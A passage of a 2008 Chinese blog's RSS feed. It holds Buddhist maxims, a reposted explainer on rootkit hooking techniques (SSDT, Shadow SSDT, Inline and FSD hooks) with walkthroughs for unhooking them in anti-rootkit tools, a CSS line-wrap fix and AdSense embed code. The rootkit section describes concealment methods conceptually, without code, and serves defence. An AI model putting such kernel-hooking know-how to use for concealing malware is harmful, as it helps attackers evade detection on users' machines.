73、对人恭敬，就是在庄严你自己。<br />
74、拥有一颗无私的爱心，便拥有了一切。<br />
75、仇恨永远不能化解仇恨，只有宽容才能化解仇恨，这是永恒的至理。<br />
76、你接受比抱怨还要好，对于不可改变的事实，你除了接受以外，没有更好的办法了。<br />
77、不要因为众生的愚疑，而带来了自己的烦恼。不要因为众生的无知，而痛苦了你自己。<br />
78、别人讲我们不好，不用生气、难过。说我们好也不用高兴，这不好中有好，好中有坏，就看你会不会运用？<br />
79、当你的错误显露时，可不要发脾囮°，别以为任性或吵闹，可以隐藏或克服你的缺点。<br />
80、不要常常觉得自己很不幸，世界上比我们痛苦的人还很多，抛开自由的悲切，去帮助他人。<br />
81、愚痴的人，一直想要别人了解他。有智慧的人，却努力的了解自己。<br />
82、来是偶然的，走是必然的，要学着随缘不变，不变随缘。<br />
83、只有面对现实，你才能超越现实。<br />
84、良心是每一个人最公正的审判官，你骗得了别人，却永远骗不了你自己的良心。<br />
85、不懂得自爱的人，是没有能力去爱别人的。<br />
86、做事就是在学做人而已。<br />
87、有时候我们要冷静问问自已，我们在追求什么？我们活着为了什么？<br />
88、不要因为小小的争执，远离了你至亲的好友，也不要因为小小的怨恨，忘记了别人的大恩。<br />
89、勇于接受别人的批评，正好可以纠正自己的缺点。<br />
90、感谢上天我所拥有的，感谢上天我所没有的。<br />
91、说话不要有攻击性，不要有杀伤力，不夸已能，不扬人恶，自然能化敌为友。<br />
92、一个常常看别人缺点的人，自己本身就不够好，因为他没有时间检讨他自己。<br />
93、是非天天有，不听自然无，是非天天有，不听还是有，是非天天有，看你怎么办？<br />
94、如果你真的爱他，那么你必须容忍他部份的缺点。<br />
95、你必须要接受世上所有的人，都会死去的观念。当你明白生命是永恒的，就能克服对死亡的恐惧，欢喜求生西方极乐清净平等的佛土。<br />
96、虽然你讨厌一个人，但却又能发觉他的优点好处，像这样子有修养的人，天下真是太少了。<br />
97、诚实的面对你内心的矛盾和污点，不要欺骗你自己。<br />
98、因果不曾亏欠过我们什么，所以请不要抱怨。<br />
99、我们确实有如是的优点，但也要隐藏几分，这个叫做涵养。<br />
100、大多数的人一辈子只做了三件事；自欺、欺人、被人欺。<br />
101、太过于欣赏自己的人，不会去欣赏别人的优点。<br />
102、妄心是最大的骗子，别人能骗你一时，而它却会骗你一辈子。<br />
103、当你手中抓住一件东西不放时，你只能拥有这件东西，如果你肯放手，你就有机会选择别的。人的心若死执自己的观念，不肯放下，那么他的智慧也只能达到某种程度而已。<br />
104、人家怕你，并不是一种福，人家欺你，并不是一种辱。<br />
105、不是某人使我烦恼，而是我拿某人的言行来烦恼自己。<br />
106、不要刻意去曲解别人的善意，你应当往好的地方想。<br />
107、世上的事，不如己意者十之八九，当它是应该的就好。<br />
108、我的财富并不是因为我拥有很多，而是我要求的很少，布施供养别人的很多。<br />
109、以为别人在注意你，或希望别人注意你的人，会生活的比较烦恼。<br />
110、我能为你煮东西，但我不能为你吃东西。各人吃饭是各人饱，各人生死是个人了。<br />
111、看轻别人很容易，要摆平自己却很困难。<br />
112、如果你准备结婚的话，告诉你一句非常重要的哲学名言，你一定要忍耐包容对方的缺点，世界上没有绝对幸福圆满的婚姻，幸福只是来自于无限的容忍与互相尊重。<br />
113、如果你能够平平安安的渡过一天，那就是一种福气了。多少人在今天已经见不到明天的太阳，多少人在今天已经成了残废，多少人在今天已经失去了自由，多少人在今天已经家破人亡。<br />
114、是非和得失，要到最后的结果，才能评定。<br />
115、你不必和因果争吵，因果从来就不会误人。你也不必和命运争吵，命运它是最公平的审判官。<br />
116、你有你的生命观，我有我的生命观，我不干涉你。只要我能，我就诚心感化你。如果不能，那我就坦然认命。<br />
117、你希望掌握永恒，那你必须控制现在。<br />
118、恶口永远不要出自于我们的口中，不管他有多坏，有多恶。你愈骂他，你的心就被污染了，你要想，他就是你的善知识，至少你该学着忘记。<br />
119、当你明天开始生活的时候，有人跟你争执，你就让他赢，这个赢跟输，都只是文字的观念罢了。当你让对方赢，你并没有损失什么。所谓的赢，他有赢到什么？得到什么？所谓的输，你又输到什么？失去什么？<br />
120、你不要常常觉得自己很委曲，你应该要想，我这样子已经很好了，这就是修行的功夫。<br />
121、别人可以违背因果，别人可以害我们，打我们，毁谤我们。可是我们不能因此而憎恨别人，为什么？我们一定要保有完整的本性和一颗清净的心。<br />
122、与任何人接触时，要常常问自己，我有什么对他有用，使他得益？如果我不能以个人的道德、学问和修持的力量，来使人受益，就等于欠了一份债。<br />
123、如果一个人没有苦难的感受，就不容易对他人给予同情。你要学救苦救难的精神，就得先受苦受难。 如觉自己受苦受难太多，则经常可以上《经典文章》修心养性。<br />
124、一般人在遇到对方的权势大，财富大，气力大，在无可奈何的情形之下而忍，这算什么忍耐呢？真正的忍是，就算他欺负了你，对不住你，但他什么都不及你，你有足够的力量对付他，而你却能容忍他，认为他的本性和我一样，只是一时糊涂，或在恶劣的环境中受到熏染罢了，你不必与他计较，能在这样的情况及心境之下容忍那才是真正的忍耐。<br />
125、如果我们放眼从累生历劫去看，那么一切的众生，谁不曾做过我的父母、兄弟姊妹、亲戚眷属？谁不曾做过我的仇敌冤家？如果说有恩，个个与我有恩；如果说有冤，个个与我有冤。这样子我们还有什么恩怨亲疏之别呢？再就智慧愚笨来说，人人有聪明的时候，也有愚痴的时候，聪明的人可能变愚痴，愚痴的人也可能变聪明。最坏的人，也曾做过许多好事，而且不会永远坏；好人也曾做过许多坏事，将来也不一定会好。如此我们反覆思索，所谓的冤亲、贤愚，这许多差别的概念，自然就会渐渐淡了。这绝对不是混沌，也不是不知好坏，而是要将我们无始以来的偏私差别之见，代之以一视同仁的平等观念罢了！<br />
126、世界原本就不是属于你，因此你用不着抛弃，要抛弃的是一切的执著。万物皆为我所用，但非我所属。<br />
127、宁可自己去原谅别人，莫让别人来原谅你。<br />
128、当你用烦恼心来面对事物时，你会觉得一切都是业障，世界也会变得丑陋可恨。而相反，当你用感恩的心来面对事物时，你会觉得一切都是助缘，世界也会变得美好可亲。<br />
129、欲为诸佛龙象，先做众生马牛。<br />
130、虽然我们不能改变周遭的世界，我们就只好改变自己，用爱心和智慧来面对这一切.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2008/02/27/%e4%bd%9b%e8%a8%80%e7%99%be%e5%8f%a5%e5%85%bb%e5%bf%83%e5%85%bb%e6%80%a7.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>主动防御技术(转)</title>
		<link>http://www.a-boss.com/2008/02/23/%e4%b8%bb%e5%8a%a8%e9%98%b2%e5%be%a1%e6%8a%80%e6%9c%af%e8%bd%ac.html</link>
		<comments>http://www.a-boss.com/2008/02/23/%e4%b8%bb%e5%8a%a8%e9%98%b2%e5%be%a1%e6%8a%80%e6%9c%af%e8%bd%ac.html#comments</comments>
		<pubDate>Sat, 23 Feb 2008 21:16:43 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[建站笔记]]></category>
		<category><![CDATA[主动防御]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[思考]]></category>
		<category><![CDATA[暴力]]></category>
		<category><![CDATA[测试]]></category>
		<category><![CDATA[游戏]]></category>
		<category><![CDATA[破解]]></category>
		<category><![CDATA[硬盘]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[记录]]></category>
		<category><![CDATA[调试]]></category>
		<category><![CDATA[软件]]></category>
		<category><![CDATA[隐藏]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=75</guid>
		<description><![CDATA[主动防御技术 对于SSDT Hook，现在的所有Anti-Rootkit工具都能轻易找出并解除它的钩子（脱钩，Unhook），如IceSword、RKU、超级巡警等。 运行IceSword，首先点击“进程”，观察这里是否存在红色标记... ]]></description>
			<content:encoded><![CDATA[<p>主动防御技术<br />
对于SSDT Hook，现在的所有Anti-Rootkit工具都能轻易找出并解除它的钩子（脱钩，Unhook），如IceSword、RKU、超级巡警等。<br />
运行IceSword，首先点击“进程”，观察这里是否存在红色标记的进程，如果有，说明你的系统里绝对存在SSDT Hook，那红色的进程正是被底层驱动隐藏起来的文件，将它的具体位置记下来，并将其终止。<br />
现在点击进入SSDT列表，会发现一些被红色标注出来的行列，记住它的“当前服务函数所在模块”，这个就是实施SSDT Hook的底层驱动文件。<br />
然后，使用超级巡警切换至高级模式，将SSDT恢复为初始状态，它的所有防御就被解除了，现在直接查找刚才记录的文件去删除吧。<br />
进一步试探：Shadow SSDT Hook<br />
RK 作者不甘心，无论是出于技术上的抗争还是利益上的损失，反正，ARK既然让我丢了面子或瘪了钱包，那么，“有朝一日龙得水，定叫长江水倒流！”，一些人开始尝试研究破解Anti-Rootkit工具，誓与之抗争到底，另一些人，则开始了新的探索，最终，双方都有了成效：首先，pjf的大作 IceSword被成功反汇编了，虽然得到的并不是最初的C语言代码而是汇编语句，但是对于研究Rootkit的人来说，汇编在他们眼里，就如同看网络小说一样轻而易举，很快，就有人识破了作者的检测逻辑，可以绕过IceSword以及其他采用类似检测方法的工具的Rootkit就此诞生，甚至一部分RK 已经开始反过来监控ARK，一旦相应ARK的驱动被加载，立即开始玉石俱焚——将用户机器弄成经典的蓝屏死机，不明就里的用户在几次与蓝色屏幕对望后，通常都会无奈的放弃；而另一种蓝屏则是更深层次的问题导致的，下面会提到。<br />
//文章出处:网络技术论坛(http://bbs.nettf.net) 作者:小金<br />
而探索另一个方向的研究者们，也传来了捷报：Windows系统里，除了那个大家都在玩的SSDT（KeServiceDescriptorTable）以外，还有一个隐藏得非常深入的类似SSDT结构的数据段在同时工作着，它被称为“Shadow SSDT”（SSDT映射），这个“KeServiceDescriptorTableShadow”功能并未从系统内核中导出，但是通过外联的系统级别调试器，却看到了它的踪影。Shadow SSDT的作用和SSDT本身差不多，只不过它主要是提供一些基于图形用户界面（GUI）下的系统服务函数，并保存了一份与SSDT相同的服务列表，当然，这也是提供给基于GUI下的程序调用的。Shadow SSDT被安排在win32k.sys中，非常少文献提及它，因此这几乎是个被人遗忘的角落，Rootkit作者们很快就发现，控制这里也能达到一定的效果，因为Shadow SSDT同样具备了SSDT的所有功能，只不过是要利用的时候多了一些步骤而已，于是RK又有了新的玩法，这一次，轮到ARK傻眼了，那时候ARK根本没有做到Shadow SSDT这一步，于是，只钩住Shadow SSDT的Rootkit们得以无法无天的生存下去，任由用户怎么发现恶意程序怎么恢复SSDT都好，始终都是影响不到此类Rootkit！<br />
这个情形，一直到具备了Shadow SSDT检测功能的ARK工具出现才结束，例如大名鼎鼎的RootKit Unhooker（RKU），它那强大的SSDT以及其Shadow检测脱钩功能，帮助许多人解决了这些新生的捣蛋鬼，于是，Rootkit作者们又开始寻求新的生存之道。<br />
此类Hook由于出现得比较晚，很多当初流行的ARK都没有涉及这块，所以，我们只能使用RKU、狙剑等工具对其进行操作。<br />
运行RKU（Rootkit Unhooker），它是英文软件，但是操作十分简便。点击“Shadow SSDT”，如果系统中存在Shadow SSDT Hook，你会发现软件底部状态栏里“Services/Hooked”不再是“xxx/0”的状态，同时相应被Hook的函数显示行里， “Hooked”一栏为“Yes”，现在记下这个文件的位置和地址，然后直接点“UnHooked ALL”，接下来，去找文件删除吧。<br />
逼近顶峰：Inline Hook<br />
世界上最荒谬的事情是什么？是顺着被人故意弄乱方向的路牌，往错误的方向走了好远都没察觉到有问题？还是被朋友恶作剧的将男女洗手间的标识换了位置？如果有天去造访寺院，却发现里面居然是清一色的道士在念经，你一定会惊呼，这简直太荒谬了！<br />
在狂热的Rootkit领域里，类似的荒谬正在散布开来，那就是高级的Hook形式——Inline Hook。<br />
在最初的运作流程里，所有被设置了挂钩的函数操作，最终还是要回到原始功能模块内处理的，毕竟第三方程序作者不是Windows系统编写者，为了保证系统的正常运行，最明智的做法当然是让被拦截的相关函数请求在经过自己编写的模块的层层检测并发现无害以后，立即将这个即将进行正常工作的请求原封不动的送到它该干活的地方去，以便系统完成整个工作流程，所以大家都在打SSDT等地方的主意，就是为了在这条必经之路上插上一脚，力求能绊倒那些看着不顺眼的路人。而现在，路上出现会砍脚的保安了，怎么办，难道玩不下去了吗？然而，迎接挑战正是每个研究者的兴趣所在，于是，荒谬的念头带出了可怕的技术，这就是 Inline Hook。<br />
其实，Inline Hook早就作为一种高级的Hook技术存在了，在用户层上的一些特殊程序如游戏外挂等，为了获得最完整可靠的数据，它们都不再采用错误指路牌的方法来将数据转移了，因为这样很可能会因为触发程序编写者针对此问题而设置的处理程序，最终功亏一篑。那么，怎么样才能让这个处理程序不能达到触发条件呢？那就是千万别去钩这个程序，但是如果不钩住程序，又该如何取得相关数据呢？在这样的思考模式下，一种新的钩子技术诞生了：它虽然也在玩钩子，但是它却不是来钩目标程序的，而是将系统里相应的API函数给虏了去，由于任何普通程序作者对系统API都是绝对信任的，于是，当他们的程序请求调用相关API并将参数一同发送过去时，由于提供这个API的相应模块被钩住了，它的“先知”——布施钩子者就抢先一步得到了数据内容，接下来就得看作者的编程功底来决定程序的生死了，因为作者并不能自己写出相应的系统函数，他就必须得设法将数据送回原函数执行模块里去，这一步稍有差错，就会导致调用这个API的程序崩溃退出。<br />
正因如此，Inline Hook是一种相对一般Hook而言更复杂的技术，除非作者有较深的编程功底和对系统的了解，否则冒冒失失就大量使用这个技术是很容易出问题的，不仅受害者不好过，攻击者也无法取得他所需数据，得不偿失。<br />
既然在用户层（Ring 3）上使用Inline Hook都要如此注意，那么在Rootkit的世界里有没有人吃螃蟹呢？答案是一定的，当钩住SSDT和Shadow SSDT的途径都被堵死以后，Rootkit技术终于向Inline Hook迈出了一步。<br />
设想一下，当所有检测工具都在虎视眈眈SSDT这个关口时，某个Rootkit早已用自己的函数把系统内核里的敏感函数给替换了，当用户层的函数操作请求通过正常的SSDT找到相应内核态函数的执行主体时，却不知道这个执行主体早已被Rootkit冒名顶替了，那么情形会是怎么样的呢？虽然所有检测工具都报告情况正常，但是机器内其实早已被Rootkit安家，如果这个Rootkit预置了在某个时刻进行破坏行为的逻辑，那么用户直到系统出问题的那一刻，都还不知道究竟发生了什么事情！<br />
位于Ring 0的Inline Hook是十分隐蔽的，除非研究者对系统了解较深，否则他想破了头也不能找出原因所在，更别提连杀个辜n程的概念都很迷茫的普通用户了。但是使用 Inline Hook是必须付出代价的，由于内核的复杂性，尤其因为位于这一层的函数是所有程序都必须频繁调用的，很多时候如果设钩者没考虑周全，导致某个已经 Inline Hook的函数被意外的直接调用，就会导致严重后果。所以，使用Inline Hook的Rootkit能否正常稳定的工作，是与作者的水平连接得十分紧密的，一个不成熟的用户层Inline Hook程序大不了就是跟着它要监控的程序一起引发内存错误导致非法操作异常退出，仅此而已，但是到了系统核心层，这里可没有任何错误检测模块来保证你的程序在做出会导致内核崩溃的事情之前就赶紧将它终止——这已经是最底层了，一个错误的内存读写都会直接引发内核级别的崩溃，即我们俗称的“蓝屏死机” （BSoD，Blue Screen of Dealth）。于是，不成熟的Inline Hook Rootkit的代价就是系统变得及其不稳定，在用户看来，电脑表现出来的症状就是莫名其妙的非常容易蓝屏，这就是技术不成熟的Rootkit导致的后果，只不过，这个代价是由受害的用户来承担的。<br />
不过，目前能流行开来的Inline Hook Rootkit，基本上都是已经在开发者的机器上经历了无数次蓝屏考验后才出场的，所以通常情况下，用户并不会因为这些Rootkit的存在而频频蓝屏，并且，它已经成为当前Rootkit的主流技术。<br />
对付Inline Hook，无论是狙剑、RKU还是Wsyscheck都可以做到，以狙剑为例，点击程序主界面的“扩展功能”，然后点击“SSDT检查”，你会突然有眼花缭乱的感觉，所以请点击右键——“筛选可疑项”，让它仅仅把异常部分显示出来（注意那个SnipeSword.sys，它是狙剑自身的驱动，不要弄错了），如果系统存在异常，“HOOK类型”里会列出相关说明，如HOOK、Inline-Hook等，首先可以尝试右键选择“恢复所有HOOK”，然后刷新一次，如果仍然列出异常项目，就得在相应的项目列上点击右键选择“恢复选定的Inline-HOOK”了。<br />
紧紧缠绕的寄生藤：FSD Hook<br />
//文章出处:网络技术论坛(http://bbs.nettf.net) 作者:小金<br />
随着RK与ARK的斗争进展，SSDT Hook（包括Shadow Hook）的道路被清理了，Inline Hook也被揪出来清理了，但是一些用户惊讶的发现，他们仍然无法删除这些已经暴露在眼皮底下的文件，这是为什么？<br />
在解说这个问题之前，我们先来了解一些概念。为了让用户敲打键盘、点击鼠标、插入U盘等就能直接进入计算机的世界，操作系统在幕后是做了相当多的工作的，这些在底层运作的功能层层汇聚，最终建立出一个可用的操作平台，其中，负责管理磁盘数据和文件读写的部分被称为“文件系统”（File System，FS），其中，Windows系列操作系统是采用IOS（Input/Output Supervisor，输入输出管理程序）技术进行文件系统管理的。它接管所有的存储设备，如硬盘、可移动式磁盘、光驱等。<br />
IOS是一种层次结构的管理方案，展现在用户层上的是各种应用程序的读写操作，其下一层紧接着的是被称为“可安装文件系统”（Installable File System，IFS）的接口层，这一层是以下各层的最终汇聚，通俗点说，也就是我们在屏幕上看到磁盘盘符、光驱盘符、U盘盘符、网络磁盘映射盘符等图标并对它们进行操作的由来。继IFS以后，就是各种文件系统驱动所在的层，即“FSD”（File System Driver，文件系统驱动），这一层直接与IOS连接，用于接受并处理属于自己任务分派内的数据；FSD下一层直达IOS，而到了IOS的下一层，数据就开始往硬件化发展了。<br />
而这次Rootkit的目标，就是到达IOS之前的最后一层：FSD。<br />
FSD在Windows系统中属于开放给编程人员可接触到的最深入的一块区域（再往下就是操作系统自身提供的驱动和硬件厂商的事情了），所以，这一层的权限是很高的，控制了这个层次，开发者就能掌握到最多最全面的文件读写操作控制，于是，当所有的道路都被Anti-Rootkit工具阻挠后， Rootkit作者开始反抗，方法是阻止他们的工具将揪出来的Rootkit直接歼灭。<br />
FSD并非绝对禁地，在这之前，反病毒厂商和磁盘数据加密厂商早就在这一层里专研了，一部分人致力于编写自己的FSD，而更多的人，是通过编写FSD Filter Driver（文件系统驱动过滤器）来达到目的，以便从中析出它们敏感的数据来进行其他工作，而Filter驱动的一个要点就是钩住FSD，即“FSD Hook”。当FSD被你掌握后，你就可以通过操纵它的数据来控制别人的文件读写请求，对于Rootkit来说，它们可以将一些敏感文件如自身驱动程序文件、用户层相关文件等设置为除了它们自己以外的程序都无法对其进行读写的效果，到了用户层，直接反映出来的就是无法对其进行编辑、改名和删除。<br />
用了这个技术，Rootkit作者们又可以偷笑了，因为即使用户用各种手段找到了它并将其进程终止，他也无法操作那些被保护起来的文件。<br />
只是，钩子始终是钩子，总会有人去脱钩的，在克制FSD Hook技术的ARK工具出现后，一部分人面对着十分难以操作的FSD而放弃了，因为到了这一层已经非常容易导致系统不稳定了。<br />
而一些人，仍然走了下去。<br />
如何清理这个类型的Rootkit呢？以最容易操作的Wsyscheck为例，首先运行Wsyscheck（你会发现一个有趣现象：IceSword无法检测到Wsyscheck的Hook，因为它用的技术是Inline Hook和FSD Hook），点击进入“内核检查”，选中“FSD检查”，留意“代码异常”项里是否有标注为“Yes”的项，如果有，请在界面里右键点击，并选择“恢复所有函数”。Wsyscheck的进程列表并非使用IceSword一类的逻辑，所以如果你看到存在红色的列表也不要太过于紧张，它只是表示这个程序是没有系统签名验证、且类型特殊（如服务、加载驱动等）的应用程序而已，并非是IceSword这样的“坏人标识”。<br />
产于极端的终极技术：FSD Inline Hook<br />
Rootkit到了FSD Hook这一层，对系统造成的影响已经相当危险了，然而，由于出现了对抗的工具触动了某些人的利益，终于，一个著名的流氓软件吃了这只大家都会因为良心不安而不去触碰的螃蟹——FSD Inline Hook。<br />
在及其重要敏感的FSD环境下放钩子本身就是一件要求很高的事情，而用自己的函数去替代这个雷区的系统函数，更是被很多人认为是严禁操作的事情，而现在，真的有人带头违反了，以后的局势又将如何呢？<br />
所以，将CNNIC列为当前流氓软件作者的所有研究目标都不过分，因为CNNIC身上，就具备了多种高级技术，只可惜，全都没有用于正道。<br />
Inline Hook的概念我们在前面已经说过了，现在主要说说这个Rootkit的行为以及后果。<br />
也许是CNNIC的开发者对于自家产品频频被删除而恼怒了吧，这次最新发布的程序中，FSD Inline Hook终于出现了，它直接将操作系统厂商编写的相关功能使用自己的函数去取代了，而搞过FSD开发的人都知道，这一层的功能函数对硬件平台、系统版本是具有高度依赖性的，每个操作系统采用的函数都会有些许差异，但是操作系统厂商并不是制作通用的FSD方案，更何况，这个标准就是他们自己提出来的，所以这些变动对他们而言都是无伤大雅的，但是对于第三方厂商来说，他们缺少必要的开发文档（微软并未公布任何涉及FSD Inline Hook技术文档，也不鼓励开发者这样做）和齐全的硬件测试平台，所以，在䷜n齐全的操作系统环境和硬件配置下实现的技术，必然很容易就导致受害用户直接欣赏到赏心悦目的蓝屏。<br />
CNNIC必然清楚这点，但是，他们什么也不顾了。而且，CNNIC的技术水平果然也没达到稳定的水平，在被CNNIC安家的系统里，用户只要运行 IceSword检测，就会直接导致蓝屏，这是因为它们都同时钩住了一个底层函数，但是下钩的位置存在些许偏差，例如，一个钩住了头部，一个钩住了屁股，于是内核受不了这很黄很暴力的行为，而直接崩溃了。<br />
但是，毕竟已经有人起了头。以后的Rootkit世界将会变成什么样子，谁也不知道。<br />
//文章出处:网络技术论坛(http://bbs.nettf.net) 作者:小金<br />
要消灭CNNIC以及采用FSD Inline Hook技术的Rootkit，首选应该是360安全卫士，但是如果出现了360安全卫士也未加入识别的Rootkit，用户就得使用“狙剑”了，解决方法与前面提及的大同小异，只需要对其“脱钩”就可以了，关键在于，用户还得留意Rootkit的用户层程序是否也使用Hook，如线程注入等。<br />
RK 多了，ARK也多了，这是好事还是坏事呢？答案自然是后者，无论是RK还是ARK，它们都必须进行同一个行为，就是进入系统内核层次并达到目的，于是不兼容现象往往会发生在几个ARK之间，例如，在运行了狙剑后，Wsyscheck经常会直接报错退出，而如果用户在开启了Wsyscheck的情况下运行 IceSword，他将会有很大几率看到那蓝底白字的屏幕。<br />
三. 结语<br />
虽然到处都在提倡和谐网络的普及，但是，“健康上网”仅仅是指代那些黄赌毒而已吗？在利益面前，开发者的正义感越发渺小起来，我们的网络世界，是被瘟神紧紧跟随着的。技术的斗争越发激烈，但是用户的电脑知识是不会跟着时代发展而自动填充的，最终，大众上网的人民成了这一切技术较量的受害者。<br />
这个荒谬的发展方向，何时才能休止呢？</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2008/02/23/%e4%b8%bb%e5%8a%a8%e9%98%b2%e5%be%a1%e6%8a%80%e6%9c%af%e8%bd%ac.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LBS修改-自动换行的解决方案</title>
		<link>http://www.a-boss.com/2007/09/15/lbs%e4%bf%ae%e6%94%b9-%e8%87%aa%e5%8a%a8%e6%8d%a2%e8%a1%8c%e7%9a%84%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88.html</link>
		<comments>http://www.a-boss.com/2007/09/15/lbs%e4%bf%ae%e6%94%b9-%e8%87%aa%e5%8a%a8%e6%8d%a2%e8%a1%8c%e7%9a%84%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88.html#comments</comments>
		<pubDate>Sat, 15 Sep 2007 08:13:00 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[建站笔记]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[LBS]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[换行]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[隐藏]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=34</guid>
		<description><![CDATA[这几天发表日志的时候，有时候要引用些程序代码，可有些代码过长，结果搞得我的页面大乱，十分不美观，于是通过了下面两个办法解决了： 一、本来我的网页最佳的显示分辩率是800*600以上... ]]></description>
			<content:encoded><![CDATA[<p>这几天发表日志的时候，有时候要引用些程序代码，可有些代码过长，结果搞得我的页面大乱，十分不美观，于是通过了下面两个办法解决了：<br />
一、本来我的网页最佳的显示分辩率是800*600以上的，现在估计用这种分辩率人很少了吧？于是改成了1024*768的效果，宽度长了，换行的问题自然就解决了。 [lol]</p>
<p>二、代码控制，说明如下，只是个例子，可以根据需要自行调整：</p>
<p>1.（IE浏览器）连续的英文字符和阿拉伯数字,使用word-wrap : break-word ;或者word-break:break-all;实现强制断行</p>
<blockquote><p>#mainwrap{word-break:break-all; width:200px;}<br />
或者<br />
#mainwrap{word-wrap:break-word; width:200px;}</p>
<p>&lt;div id=”wrap”&gt;abcdefghijklmnabcdefghijklmnabcdefghijklmn111111111&lt;/div&gt;</p></blockquote>
<p>效果：可以实现换行</p>
<p>2.（Firefox浏览器）连续的英文字符和阿拉伯数字的断行,Firefox的所有版本的没有解决这个问题,我们只有让超出边界的字符隐藏或者,给容器添加滚动条</p>
<blockquote><p>#wrap{word-break:break-all; width:200px; overflow:auto;}</p>
<p>&lt;div id=”wrap”&gt;abcdefghijklmnabcdefghijklmnabcdefghijklmn111111111&lt;/div&gt;</p></blockquote>
<p>效果：容器正常，内容隐藏</p>
<p>如果想知道更多，请仔细阅读<a title=" http://www.blueidea.com/tech/web/2006/3469.asp" href=" http://www.blueidea.com/tech/web/2006/3469.asp" target="_blank"> http://www.blueidea.com/tech/web/2006/3469.asp</a> 的贴子。</p>
<p>因为我的是由于使用代码才会出现这种问题所以，我只对styles.css中的.code段进行了修改．添加了代码：</p>
<blockquote><p>word-break:break-all;<br />
overflow:auto;<br />
width: 500px;</p></blockquote>
<p>问题搞定．</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2007/09/15/lbs%e4%bf%ae%e6%94%b9-%e8%87%aa%e5%8a%a8%e6%8d%a2%e8%a1%8c%e7%9a%84%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>google ADsense设置代码</title>
		<link>http://www.a-boss.com/2007/09/13/google-adsense%e8%ae%be%e7%bd%ae%e4%bb%a3%e7%a0%81.html</link>
		<comments>http://www.a-boss.com/2007/09/13/google-adsense%e8%ae%be%e7%bd%ae%e4%bb%a3%e7%a0%81.html#comments</comments>
		<pubDate>Thu, 13 Sep 2007 14:47:06 +0000</pubDate>
		<dc:creator>robay</dc:creator>
				<category><![CDATA[建站笔记]]></category>
		<category><![CDATA[adsense]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[IE]]></category>
		<category><![CDATA[LBS]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[广告]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[真假]]></category>
		<category><![CDATA[隐藏]]></category>

		<guid isPermaLink="false">http://www.a-boss.com/blog/?p=32</guid>
		<description><![CDATA[都说可以通过google adsense挣钱，不知道真假，估计与网站的浏览量或流量有关系吧，至少我目前还达不到这种规模，不过还是可以先装上用用，也方便自己找东西吗？贴子设成隐藏的，给自己留... ]]></description>
			<content:encoded><![CDATA[<p>都说可以通过google adsense挣钱，不知道真假，估计与网站的浏览量或流量有关系吧，至少我目前还达不到这种规模，不过还是可以先装上用用，也方便自己找东西吗？贴子设成隐藏的，给自己留个备用参考，也省得别人说我给自己做广告。</p>
<p>1、google adsense 搜索模块（AdSense for Search）<br />
在页面的适当位置放置下面的代码即可实现google搜索功能.<br />
[code]<br />
&lt;!-- Search Google --&gt;<br />
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;<br />
&lt;table &gt;<br />
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;<br />
&lt;input type="text" name="q" size="15" maxlength="255" value="www.sale925.cn" &gt;&lt;/input&gt;<br />
&lt;input type="submit" name="sa" value="Google"  class="button" &gt;&lt;/input&gt;<br />
&lt;input type="hidden" name="client" value="pub-9928792648942112"&gt;&lt;/input&gt;<br />
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;<br />
&lt;input type="hidden" name="channel" value="1752202669"&gt;&lt;/input&gt;<br />
&lt;input type="hidden" name="ie" value="GB2312"&gt;&lt;/input&gt;<br />
&lt;input type="hidden" name="oe" value="GB2312"&gt;&lt;/input&gt;<br />
&lt;input type="hidden" name="cof" &gt;&lt;/input&gt;<br />
&lt;input type="hidden" name="hl" value="zh-CN"&gt;&lt;/input&gt;<br />
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;<br />
&lt;/form&gt;<br />
&lt;!-- Search Google --&gt;<br />
[/code]</p>
<p>2、google  adsense的页面广告功能（ AdSense for Content）<br />
在你想加入广告的页面位置处放置下面的代码即可实现google广告功能.本广告的显示大小为468*60的格式。<br />
[code]&lt;script type="text/javascript"&gt;&lt;!--<br />
google_ad_client = "pub-9928792648942112";<br />
google_ad_width = 468;<br />
google_ad_height = 60;<br />
google_ad_format = "468x60_as";<br />
google_ad_type = "image";<br />
google_ad_channel = "";<br />
google_ui_features = "rc:10";<br />
//--&gt;<br />
&lt;/script&gt;<br />
&lt;script type="text/javascript"<br />
src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;<br />
&lt;/script&gt;<br />
[/code]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.a-boss.com/2007/09/13/google-adsense%e8%ae%be%e7%bd%ae%e4%bb%a3%e7%a0%81.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>LBS修改-让所有用户显示隐藏的文章标题</title>
		<link>http://www.a-boss.com/2007/09/05/lbs%e4%bf%ae%e6%94%b9-%e8%ae%a9%e6%89%80%e6%9c%89%e7%94%a8%e6%88%b7%e6%98%be%e7%a4%ba%e9%9a%90%e8%97%8f%e7%9a%84%e6%96%87%e7%ab%a0%e6%a0%87%e9%a2%98.html</link>
